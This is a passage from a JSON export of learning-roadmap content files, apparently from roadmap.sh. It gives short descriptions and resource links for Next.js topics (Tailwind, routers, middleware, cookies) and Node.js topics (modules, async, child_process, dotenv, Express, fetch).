    "content": "# Tailwind CSS\n\nNext.js support Tailwind CSS to style your apps. Tailwind CSS is a utility-first CSS framework that provides a set of pre-defined CSS classes that you can use to style your HTML elements directly in your markup. Instead of writing custom CSS rules, you compose styles by applying these utility classes, allowing for rapid UI development and consistent design. This approach promotes a more streamlined workflow by reducing the need to switch between HTML and CSS files.\n\nVisit the following resources to learn more:\n\n- [@official@Tailwind CSS](https://tailwindcss.com/)\n- [@official@Tailwind CSS in Next.js](https://nextjs.org/docs/app/getting-started/css#tailwind-css)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/third-party-libraries@-j38AhG6LUCH5GupGiqUM.md",
    "content": "# Third Party Libraries\n\n`@next/third-parties` is a library that provides a collection of components and utilities that improve the performance and developer experience of loading popular third-party libraries, like Google Tag Manager and Google Analytics,  in your Next.js application. All third-party integrations provided by `@next/third-parties` have been optimized for performance and ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@How to optimize third-party libraries](https://nextjs.org/docs/app/guides/third-party-libraries)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/types-of-routers@km7dLVpl76c5EfWvhhbRh.md",
    "content": "# Types of Routers\n\nNext.js has two different routers:\n\n*   **App Router**: The newer router that supports new React features like Server Components.\n*   **Pages Router**: The original router, still supported and being improved.\n\nBefore Next.js 13, the Pages Router was the main way to create routes in Next.js. It's still supported in newer versions of Next.js, but Next.js recommends migrating to the new App Router to leverage React's latest features.\n\nVisit the following resources to learn more:\n\n- [@official@Next.js Docs](https://nextjs.org/docs#app-router-and-pages-router)\n- [@video@Next.js App vs. Pages Router - Which One is Better?](https://www.youtube.com/watch?v=EYDOXzpTRvw)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/typescript@ZFHkHmvjndPjDAB-MAtb7.md",
    "content": "# TypeScript\n\nTypeScript is a syntactic superset of JavaScript which adds static typing. This means that TypeScript adds syntax on top of JavaScript, allowing developers to add types.\n\nNext.js comes with built-in TypeScript, automatically installing the necessary packages and configuring the proper settings when you create a new project with create-next-app. To add TypeScript to an existing project, rename a file to `.ts` / `.tsx`. Run `next dev` and `next build` to automatically install the necessary dependencies and add a `tsconfig.json` file with the recommended config options.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript](https://nextjs.org/docs/app/api-reference/config/typescript)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/use-cases@54Cc_GdL327tzkdYBA305.md",
    "content": "# Middleware Use Cases\n\nMiddleware in Next.js allows you to run code before a request is completed. This provides a flexible way to modify the response by rewriting, redirecting, adding headers, or even directly responding. Common use cases include authentication, authorization, redirecting users based on their location (localization), handling bots, and implementing advanced security measures.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/middleware)\n- [@official@Middleware for Pages Router](https://nextjs.org/docs/pages/api-reference/file-conventions/middleware)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/using-cookies@8kUhcd2-BlqOKInEuSI95.md",
    "content": "# Using Cookies in Next.js Middleware\n\nCookies are small pieces of data that websites store on a user's computer to remember information about them, such as login details, preferences, or shopping cart items. In Next.js middleware, you can access and modify these cookies before a request is handled by your application's routes, allowing you to implement features like authentication, personalization, and A/B testing based on cookie values. This provides a powerful way to control the user experience at the edge.\n\nVisit the following resources to learn more:\n\n- [@official@Using Cookies for App Router](https://nextjs.org/docs/app/api-reference/file-conventions/middleware#using-cookies)\n- [@official@Using Cookies for Pages Router](https://nextjs.org/docs/pages/api-reference/file-conventions/middleware#using-cookies)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/videos@1SJX-nGuhIxGH0ukfluoQ.md",
    "content": "# Videos in Next.js\n\nNext.js provides various approaches and techniques to store and display video files without affecting performance. Videos can be embedded on the page using the HTML `<video>` tag for direct video files and `<iframe>` for external platform-hosted videos.\n\nVisit the following resources to learn more:\n\n- [@official@How to use and optimize videos](https://nextjs.org/docs/app/guides/videos)\n- [@video@Add high-performance video to your Nextjs app](https://next-video.dev/docs)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/vitest@KTZRo1Y_Z-7eMYzZ9W0Vl.md",
    "content": "# Vitest\n\nNext.js allows you to use Vitest for unit testing. Vitest is a fast unit test framework powered by Vite. It offers a development experience similar to Vite, making it easy to set up and use in projects that already use Vite for building. Vitest focuses on speed and simplicity, providing features like instant hot module replacement (HMR) and built-in support for TypeScript and JSX.\n\nVisit the following resources to learn more:\n\n- [@official@How to set up Vitest with Next.js](https://nextjs.org/docs/app/guides/testing/vitest)\n- [@official@Vitest](https://vitest.dev/)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/why-frontend-frameworks@rJ3vuI58Z9u2SKTDgpTE2.md",
    "content": "# Why Frontend Frameworks?\n\nBuilding modern web applications often involves managing complex user interfaces, handling data efficiently, and ensuring a smooth user experience. Frontend frameworks like React, Angular, and Next.js provide a structured approach to these challenges. They offer pre-built components, routing solutions, state management tools, and optimized build processes, allowing developers to focus on building features rather than reinventing the wheel. This leads to faster development cycles, more maintainable code, and ultimately, better web applications.\n\nVisit the following resources to learn more:\n\n- [@article@Web3 Frontend – Everything You Need to Learn About Building Dapp Frontends](https://moralis.io/web3-frontend-everything-you-need-to-learn-about-building-dapp-frontends/)\n- [@video@What is the difference between a framework and a library?](https://www.youtube.com/watch?v=D_MO9vIRBcA)\n- [@video@Which JS Framework is best?](https://www.youtube.com/watch?v=cuHDQhDhvPE)\n- [@feed@Explore top posts about Frontend Development](https://app.daily.dev/tags/frontend?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/why-nextjs@WxoMZRRiW9CGDZ9i80nbf.md",
    "content": "# Why Next.js?\n\nNext.js is a React framework that provides extra features and optimizations beyond what React offers on its own. When choosing a framework built on React, Next.js stands out because it simplifies development with features like built-in routing, server-side rendering, and static site generation. These capabilities improve performance, SEO, and the overall developer experience compared to building a React application from scratch or using other frameworks that require more manual configuration.\n\nVisit the following resources to learn more:\n\n- [@article@10 Must-Know Benefits of Next.js for Modern Web Apps](https://www.designrush.com/agency/web-development-companies/nextjs/trends/benefits-of-next-js)\n- [@article@Next.js 15 Tutorial - Introduction](https://www.youtube.com/watch?v=b4ba60j_4o8)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/why-react@ey6z7Y4WtNtQJ50n-3j5P.md",
    "content": "# Why React?\n\nReact is a JavaScript library designed for building user interfaces in a declarative and component-based way. It simplifies the process of creating dynamic and interactive web applications by allowing developers to break down complex UIs into smaller, reusable pieces. This approach promotes code maintainability, reusability, and efficiency, making it easier to manage and update large-scale frontend projects. React also works with tools like Redux for data management and React Native for mobile apps. It's popular because it's clear, fast, and has a big community.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React Website](https://react.dev)\n- [@video@Full Stack React Developer Course](https://www.youtube.com/watch?v=Bvwq_S0n2pk)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nextjs/content/why-use-app-router@e_rwwlKsvyv9OMDDBXo_N.md",
    "content": "# App Router\n\nThe App Router in Next.js is a new routing system built on React Server Components, offering enhanced flexibility and performance compared to the traditional Pages Router. Before Next.js 13, the Pages Router was the main way to create routes in Next.js. It's still supported in newer versions of Next.js, but Next.js recommends migrating to the new App Router to leverage React's latest features.\n\nVisit the following resources to learn more:\n\n- [@article@Next.js: App Router vs Pages Router](https://dev.to/dcs-ink/nextjs-app-router-vs-pages-router-3p57)"
  },
  {
    "path": "src/data/roadmaps/nextjs/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/nextjs/nextjs.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/nextjs.json'\npdfUrl: '/pdfs/roadmaps/nextjs.pdf'\nrenderer: 'editor'\norder: 23\nbriefTitle: 'Next.js'\nbriefDescription: 'Learn everything you need to master Next.js'\ntitle: 'Next.js'\ndescription: 'Learn everything you need to master Next.js'\nhasTopics: true\nisNew: true\ndimensions:\n  width: 968\n  height: 3100\nschema:\n  headline: 'Next.js Roadmap'\n  description: 'Learn Next.js with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/nextjs.png'\n  datePublished: '2025-08-26'\n  dateModified: '2025-08-26'\nseo:\n  title: 'Next.js Roadmap: Master Next.js Framework'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for learning Next.js. Master the Next.js framework by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'next.js roadmap 2025'\n    - 'nextjs roadmap 2025'\n    - 'learn next.js 2025'\n    - 'nextjs learning path 2025'\n    - 'guide to learning next.js'\n    - 'next.js learning roadmap'\n    - 'nextjs roadmap'\n    - 'master next.js framework'\n    - 'next.js skills'\n    - 'next.js skills test'\n    - 'next.js concepts'\n    - 'learn next.js'\n    - 'what is next.js'\n    - 'next.js framework roadmap'\n    - 'next.js quiz'\n    - 'next.js interview questions'\n    - 'next.js app router'\n    - 'next.js pages router'\n    - 'next.js 15 roadmap'\n    - 'react framework roadmap'\n    - 'full stack next.js'\n    - 'next.js server components'\n    - 'next.js client components'\nrelatedRoadmaps:\n  - 'react'\n  - 'frontend'\n  - 'typescript'\n  - 'javascript'\n  - 'nodejs'\n  - 'full-stack'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/--watch@812bVEzxwTsYzLG_PmLqN.md",
    "content": "# --watch\n\nThe `--watch` flag in Node.js is a powerful feature introduced in Node.js version 19 that enables automatic reloading of your Node.js application whenever changes are detected in the specified files.\n\nHere's How it works:\n\n*   You run your Node.js script with the `--watch` flag: `$ node --watch your_script.js`\n*   Node.js starts watching the specified file (or directory) for changes.\n*   Whenever a change is detected, Node.js automatically restarts the script\n\nVisit the following resources to learn more:\n\n- [@official@Node.js CLI](https://nodejs.org/api/cli.html)\n- [@official@Node.js --watch Docs](https://nodejs.org/api/cli.html#--watch)\n- [@article@Medium - Watch Mode](https://medium.com/@khaled.smq/built-in-nodejs-watch-mode-52ffadaec8a8)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/__dirname@1AaGG660rvZlNYMOA35qO.md",
    "content": "# __dirname\n\nThe `__dirname` in a node script returns the path of the folder where the current JavaScript file resides. `__filename` and `__dirname` are used to get the filename and directory name of the currently executing file.\n\nVisit the following resources to learn more:\n\n- [@official@__dirname](https://nodejs.org/docs/latest/api/modules.html#__dirname)\n- [@article@How to use __dirname](https://www.digitalocean.com/community/tutorials/nodejs-how-to-use__dirname)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/__filename@P2gdwx1qCxvg1Ppfw0aqQ.md",
    "content": "# __filename\n\nThe `__filename` in Node.js returns the filename of the executed code. It gives the absolute path of the code file. The following approach covers implementing `__filename` in the Node.js project.\n\nVisit the following resources to learn more:\n\n- [@official@__filename](https://nodejs.org/docs/latest/api/modules.html#__filename)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/assertion-errors@do-tdCUfDtiZHBg4ZO3dC.md",
    "content": "# Assertion Errors\n\nAn `AssertionError` in Node.js is an error that is thrown when the `assert` module determines that a given expression is not truthy. The `assert` module is a built-in Node.js module that provides a simple set of assertion tests that can be used to test the behavior of your code.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js Assert](https://nodejs.org/api/assert.html#new-assertassertionerroroptions)\n- [@article@Node.js Error Handling - AssertionError](https://blog.airbrake.io/blog/nodejs-error-handling/assertionerror-nodejs)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/async-programming@uE7fvHSTSdebMf5RsNyaY.md",
    "content": "# Async Programming\n\nAsynchronous code means that things can happen independently of the main program flow, async functions in JavaScript are processed in the background without blocking other requests. It ensures non-blocking code execution. Asynchronous code executes without having any dependency and no order. This improves the system efficiency and throughput. Making web apps requires knowledge of asynchronous concepts since we will be dealing with actions that require some time to get processed.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Async JS](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Introducing/)\n- [@video@Asynchronous Vs Synchronous Programming](https://www.youtube.com/watch?v=Kpn2ajSa92c)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/asyncawait@a26qNCyMcT5GsVzxeNCLk.md",
    "content": "# Async/Await\n\nAsync/Await is a special syntax to work with promises in a more comfortable fashion. It's easy to understand and use. Adding the keyword async before a function ensures that the function returns a promise and the keyword await makes JavaScript wait until that promise settles and returns the result.\n\nVisit the following resources to learn more:\n\n- [@official@Async/Await Documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)\n- [@article@More on async await](https://javascript.info/async-await)\n- [@article@W3Docs Async/Await](https://www.w3docs.com/learn-javascript/async-await.html)\n- [@video@Using async await](https://www.youtube.com/watch?v=V_Kr9OSfDeU)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/axios@BOLiZg8YDKADMwP01U5ph.md",
    "content": "# Axios\n\nAxios is a promise-based HTTP Client for node.js and the browser. Used for making requests to web servers. On the server-side it uses the native node.js http module, while on the client (browser) it uses XMLHttpRequests.\n\nVisit the following resources to learn more:\n\n- [@official@Axios Documentation](https://axios-http.com/docs/intro)\n- [@video@Axios Tutorial](https://www.youtube.com/watch?v=6LyagkoRWYA)\n- [@feed@Explore top posts about Axios](https://app.daily.dev/tags/axios?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/building--consuming-apis@fFVCb6aZWRHdNDFt5C09R.md",
    "content": "# APIs\n\nAPI is the acronym for Application Programming Interface, which is a software intermediary that allows two applications to talk to each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@video@What is an API (in 5 minutes)](https://youtu.be/ByGJQzlzxQg?si=9EB9lgRvEOgt3xPJ)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/callbacks@GwInWcbQn18PnzKGXzmln.md",
    "content": "# Callbacks\n\nNode.js, being an asynchronous platform, doesn't wait around for things like file I/O to finish - Node.js uses callbacks. A callback is a function called at the completion of a given task; this prevents any blocking, and allows other code to be run in the meantime.\n\nVisit the following resources to learn more:\n\n- [@official@Asynchronicity in Programming Languages](https://nodejs.org/en/learn/asynchronous-work/javascript-asynchronous-programming-and-callbacks)\n- [@article@What are Callbacks?](https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/callstack--stack-trace@wIieXdFtoZWJ-ht8qqWbp.md",
    "content": "# Stack Trace\n\nThe stack trace is used to trace the active stack frames at a particular instance during the execution of a program. The stack trace is useful while debugging code as it shows the exact point that has caused an error.\n\nVisit the following resources to learn more:\n\n- [@article@Multiple Ways to Log The Stack Trace in Node.js](https://www.cloudhadoop.com/nodejs-print-stack-trace-error/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/chalk-package@V4OWIC1cnw8EFyu26Y_dA.md",
    "content": "# Chalk\n\nChalk is a clean and focused library used to do string styling in your terminal applications. With it, you can print different styled messages to your console such as changing font colors, font boldness, font opacity, and the background of any message printed on your console.\n\nVisit the following resources to learn more:\n\n- [@opensource@Chalk Docs](https://github.com/chalk/chalk#readme)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/child-process@lzPrWD3pxQmpbqgYPL-zW.md",
    "content": "# Child Process\n\nThe child\\_process module gives the node the ability to run the child process, established through IPC (inter-process communication) by accessing operating system commands.\n\nThe three main methods inside this module are : `child_process.spawn()` `child_process.fork()` `child_process.exec()`\n\nVisit the following resources to learn more:\n\n- [@official@Child Process Docs](https://nodejs.org/api/child_process.html#child-process)\n- [@article@Securing Node.js Against Command Injection](https://www.nodejs-security.com/blog/securing-your-nodejs-apps-by-analyzing-real-world-command-injection-examples)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/chokidar@een1zhvgN_33Cu6OiWtyX.md",
    "content": "# Chokidar\n\nChokidar is a fast open-source file watcher for node. js. You give it a bunch of files, it watches them for changes and notifies you every time an old file is edited; or a new file is created.\n\nVisit the following resources to learn more:\n\n- [@official@chokidar](https://www.npmjs.com/package/chokidar)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/cli-progress@iW9je5Pq7bjxWZDERv_p5.md",
    "content": "# Cli progress\n\nCLI-Progress is a package that provides a custom progress bar for CLI applications.\n\nVisit the following resources to learn more:\n\n- [@official@CLI-Progress Documentation](https://www.npmjs.com/package/cli-progress)\n- [@feed@Explore top posts about CLI](https://app.daily.dev/tags/cli?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/cluster@PkQ_sQ0YFPCZGx4BRgG0t.md",
    "content": "# Cluster\n\nThe Cluster module allows you to easily create child processes that each runs simultaneously on their own single thread, to handle workloads among their application threads.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js Cluster](https://nodejs.org/api/cluster.html#cluster)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/command-line-apps@Ce-dP-OXu0mEm30rzp2hW.md",
    "content": "# Command Line Applications\n\nCommand Line Applications are applications that can be run from the command line. They are also called CLI (Command Line Interface) applications. Users can interact with clients entirely by terminal commands. They are very useful for automation and building tools.\n\nVisit the following resources to learn more:\n\n- [@article@Build a Command Line Application with Node.js](https://developer.okta.com/blog/2019/06/18/command-line-app-with-nodejs)\n- [@video@5-Minute Node.js CLI Project](https://www.youtube.com/watch?v=_oHByo8tiEY)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/commander@BxxLQUI7JcQgF6TK3L5uU.md",
    "content": "# Commander.js\n\nCommander is a light-weight, expressive, and powerful command-line framework for node.js. with Commander.js you can create your own command-line interface (CLI).\n\nVisit the following resources to learn more:\n\n- [@official@commander package](https://www.npmjs.com/package/commander)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/common-built-in-modules@M62lAWBOrTe99TfpFOQ-Y.md",
    "content": "# Nodejs core modules\n\nThese are the core modules that come with `Node.js` out of the box. This module provides tools or APIs for performing out certain standard `Node.js` operations. like interacting with the file system, url parsing, or logging information to the console.\n\nVisit the following resources to learn more:\n\n- [@official@fs module](https://nodejs.org/api/fs.html)\n- [@official@url module](https://nodejs.org/api/url.html)\n- [@official@console module](https://nodejs.org/api/console.html)\n- [@official@util module](https://nodejs.org/api/util.html)\n- [@official@events module](https://nodejs.org/api/events.html)\n- [@official@os module](https://nodejs.org/api/os.html)\n- [@official@worker threads module](https://nodejs.org/api/worker_threads.html)\n- [@official@child process module](https://nodejs.org/api/child_process.html)\n- [@official@process object](https://nodejs.org/api/process.html)\n- [@official@crypto module](https://nodejs.org/api/crypto.html)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/commonjs@mhjswf17nhq075NTYV5gE.md",
    "content": "# CommonJS vs ESM\n\nCommonJS and ES (EcmaScript) are module systems used in Node. CommonJS is the default module system. However, a new module system was recently added to NodeJS - ES modules. CommonJS modules use the require() statement for module imports and module.exports for module exports while it's import and export for ES.\n\nVisit the following resources to learn more:\n\n- [@article@CommonJS vs ESM](https://blog.logrocket.com/commonjs-vs-es-modules-node-js/)\n- [@article@Using CommonJS](https://www.javascripttutorial.net/nodejs-tutorial/nodejs-modules/)\n- [@article@Using ES Modules](https://blog.logrocket.com/es-modules-in-node-today/)\n- [@article@CommonJS vs. ES Modules: Modules and Imports in NodeJS](https://reflectoring.io/nodejs-modules-imports/)\n- [@video@Using Modules](https://www.youtube.com/watch?v=pP4kjXykbio)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/creating--importing@EEnmOcDKPZzY_O1NwP_5j.md",
    "content": "# Custom Modules\n\nModules are the collection of JavaScript codes in a separate logical file that can be used in external applications based on their related functionality. There are two ways to create modules in Node.js i.e. either via CommonJS or ESM.\n\nVisit the following resources to learn more:\n\n- [@article@CommonJS vs ESM in Node.js](https://blog.logrocket.com/commonjs-vs-es-modules-node-js/)\n- [@article@Modules and Imports in Node.js](https://reflectoring.io/nodejs-modules-imports/)\n- [@video@Creating a Module in Node.js](https://www.youtube.com/watch?v=Cxo4UKpHv5s)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/creating-packages@Uh9hmEy7o1EJLg4E--ku2.md",
    "content": "# Creating Packages\n\nnpm packages allow you to bundle some specific functionality into a reusable package which can then be uploaded to some package registry such as npm or GitHub packages and then be installed and reused in projects using npm.\n\nVisit the following resources to learn more:\n\n- [@article@Best practices for creating a modern npm package](https://snyk.io/blog/best-practices-create-modern-npm-package/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/cypress@3Fh3-V1kCZtlUTvEoloIO.md",
    "content": "# Cypress\n\nCypress is a new front end testing tool built for the modern web. It enables you to write faster, easier and more reliable tests.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress](https://www.cypress.io/)\n- [@article@Cypress Documentation](https://docs.cypress.io/)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/debugging@ZLNUuDKhJ03Kw7xMVc7IR.md",
    "content": "# More Debugging\n\nDebugging is a concept to identify and remove errors from software applications. Here, we will learn about the technique to debug a Node.js application.\n\nWhy not to use `console.log()` for debugging?\n\nUsing `console.log` to debug the code generally dives into an infinite loop of “stopping the app and adding a console.log, and start the app again” operations. Besides slowing down the development of the app, it also makes the writing dirty and creates unnecessary code. Finally, trying to log out variables alongside with the noise of other potential logging operations, may make the process of debugging difficult when attempting to find the values you are debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js - Getting Started](https://nodejs.org/en/learn/getting-started/debugging)\n- [@article@Wikipedia - What is Debugging?](https://en.wikipedia.org/wiki/Debugging)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/dotenv-package@fE9C7Resn4EcL-hYHbsaZ.md",
    "content": "# dotenv\n\ndotenv is a zero-dependency module that loads environment variables from a `.env` file into `process.env`. Storing configuration in the environment separate from code is based on The Twelve-Factor App methodology.\n\nVisit the following resources to learn more:\n\n- [@official@process.env Documentation](https://nodejs.org/docs/latest/api/process.html#process_process_env)\n- [@official@Dotenv package](https://www.npmjs.com/package/dotenv)\n- [@opensource@dotenv Docs](https://github.com/motdotla/dotenv#readme)\n- [@article@The Twelve-Factor App Methodology](https://12factor.net/config)\n- [@article@Dotenv tutorial](https://zetcode.com/javascript/dotenv/)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/drizzle@JXQF9H4_N0rM7ZDKcCZNn.md",
    "content": "# Drizzle\n\nDrizzle lets you build your project the way you want, without interfering with your project or structure. Using Drizzle you can define and manage database schemas in TypeScript, access your data in a SQL-like or relational way, and take advantage of opt-in tools to make your developer experience amazing.\n\nVisit the following resources to learn more:\n\n- [@official@Drizzle](https://orm.drizzle.team/)\n- [@official@Drizzle Documentation](https://orm.drizzle.team/docs/overview)\n- [@opensource@Drizzle GitHub](https://github.com/drizzle-team/drizzle-orm)\n- [@article@Getting Started with Drizzle](https://dev.to/franciscomendes10866/getting-started-with-drizzle-orm-a-beginners-tutorial-4782)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/ejs@L-_N7OxxuHCXsdWYBgZGu.md",
    "content": "# EJS\n\nEJS is a template language or engine that allows you to generate HTML markup with pure JavaScript. And this is what makes it perfect for Nodejs applications. In simple words, the EJS template engine helps to easily embed JavaScript into your HTML template.\n\nVisit the following resources to learn more:\n\n- [@official@EJS](https://ejs.co/)\n- [@official@EJS Documentation](https://ejs.co/#docs)\n- [@official@EJS Package](https://www.npmjs.com/package/ejs)\n- [@article@Try EJS Online](https://ionicabizau.github.io/ejs-playground/)\n- [@article@How to use EJS](https://www.digitalocean.com/community/tutorials/how-to-use-ejs-to-template-your-node-application)\n- [@article@Step-by-Step EJS Guide](https://codeforgeek.com/ejs-template-engine-in-nodejs/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/error-handling@t_kfKdNSKVBPYQ9zF9VqQ.md",
    "content": "# Error Handling\n\nError handling is a way to find bugs and solve them as quickly as humanly possible. The errors in Node.js can be either operation or programmer errors. Read the articles linked below to understand how to handle different types of errors in Node.js\n\nVisit the following resources to learn more:\n\n- [@article@Node.js Error Handling Best Practices](https://sematext.com/blog/node-js-error-handling)\n- [@article@Error handling in Node.js](https://blog.logrocket.com/error-handling-node-js/)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/esm@mKccfWOhC1Aj4VnaOqryA.md",
    "content": "# ESM\n\nESM (ECMAScript Modules) is a standardized module system in JavaScript that allows for the organized, maintainable, and reusable structuring of code. It uses import and export statements for including and sharing functions, objects, or primitives between files. ESM supports static analysis, enabling better optimization and tooling, and is always in strict mode to reduce common JavaScript issues. Node.js fully supports ESM, which can be used with .mjs file extensions or configured in the package.json for .js files, making it easier to write modular and efficient JavaScript applications.\n\nVisit the following resources to learn more:\n\n- [@official@ESM Documentation](https://nodejs.org/api/esm.html)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/event-emitter@bgEHTBYzRDJqZ6gLqLbsz.md",
    "content": "# Event Emitter\n\nIn Node.js, an event can be described simply as a string with a corresponding callback. An event can be \"emitted\" (or, in other words, the corresponding callback be called) multiple times or you can choose to only listen for the first time it is emitted.\n\nVisit the following resources to learn more:\n\n- [@official@What are Event Emitters?](https://nodejs.org/en/learn/asynchronous-work/the-nodejs-event-emitter)\n- [@article@Using Event Emitters in Node.js](https://www.digitalocean.com/community/tutorials/using-event-emitters-in-node-js)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/event-loop@b679H8gEBuvrHQ8ik7e96.md",
    "content": "# Event Loop\n\nThe Event Loop is one of the most critical aspects of Node.js. Why is this so important? Because it explains how Node.js can be asynchronous and have non-blocking I/O, it explains the \"killer feature\" of Node.js, which made it this successful.\n\nVisit the following resources to learn more:\n\n- [@course@The Node.js Event Loop](https://www.coursera.org/lecture/secure-full-stack-mean-developer/the-node-js-event-loop-j5fbT)\n- [@official@The Node.JS Event Loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop)\n- [@official@The NodeJS Event loop](https://nodejs.org/en/guides/event-loop-timers-and-nexttick)\n- [@official@Don't Block the Event Loop](https://nodejs.org/en/guides/dont-block-the-event-loop)\n- [@article@JavaScript Visualized: Event Loop](https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif)\n- [@article@Event Loop in Node.js - Mixu's Node book](https://book.mixu.net/node/ch2.html#the-event-loop-understanding-how-node-executes-javascript-code)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/exitting--exit-codes@XteNExIZN3_g95_dPCopY.md",
    "content": "# Exiting and exit codes\n\nExiting is a way of terminating a Node.js process by using node.js process module.\n\nVisit the following resources to learn more:\n\n- [@official@Exit Documentation](https://nodejs.org/api/process.html#event-exit)\n- [@article@How to Exit a Process in Node.js](https://betterstack.com/community/questions/how-to-exit-in-node-js/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/expressjs@1vq_KcYR_pkfp1MtXaL75.md",
    "content": "# Express.js\n\nExpress is a node js web application framework that provides broad features for building web and mobile applications. It is used to build a single page, multi-page, and hybrid web application.\n\nVisit the following resources to learn more:\n\n- [@official@Express.js](https://expressjs.com/)\n- [@official@Getting Started Guide](https://expressjs.com/en/starter/installing.html)\n- [@article@Express Full Guide](https://www.tutorialspoint.com/nodejs/nodejs_express_framework.htm)\n- [@article@Sample Project](https://auth0.com/blog/create-a-simple-and-stylish-node-express-app/)\n- [@feed@Explore top posts about Express.js](https://app.daily.dev/tags/express?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/fastify@WkU_rI4i-UmNSxb5F9TI-.md",
    "content": "# Fastify\n\nFastify is a web framework highly focused on providing the best developer experience with the least overhead and a powerful plugin architecture, inspired by Hapi and Express.\n\nVisit the following resources to learn more:\n\n- [@official@Fastify](https://www.fastify.io/)\n- [@official@Fastify Documentation](https://www.fastify.io/docs/latest/)\n- [@video@Beginner Fastify Tutorial](https://www.youtube.com/watch?v=Lk-uVEVGxOA)\n- [@feed@Explore top posts about Fastify](https://app.daily.dev/tags/fastify?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/fetch@B_3rTGQxJneMREXoi2gQn.md",
    "content": "# fetch\n\nThe `fetch()` method in JavaScript is used to request to the server and load the information on the webpages. The request can be of any APIs that return the data of the format JSON or XML. This method returns a promise.\n\nVisit the following resources to learn more:\n\n- [@official@MDN - Using the Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch)\n- [@official@NodeJS globals: fetch](https://nodejs.org/api/globals.html#fetch)\n- [@official@MDN - Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)\n- [@article@freeCodeCamp on avoiding callback hell](https://www.freecodecamp.org/news/how-to-deal-with-nested-callbacks-and-avoid-callback-hell-1bc8dc4a2012/)"
  },
  {
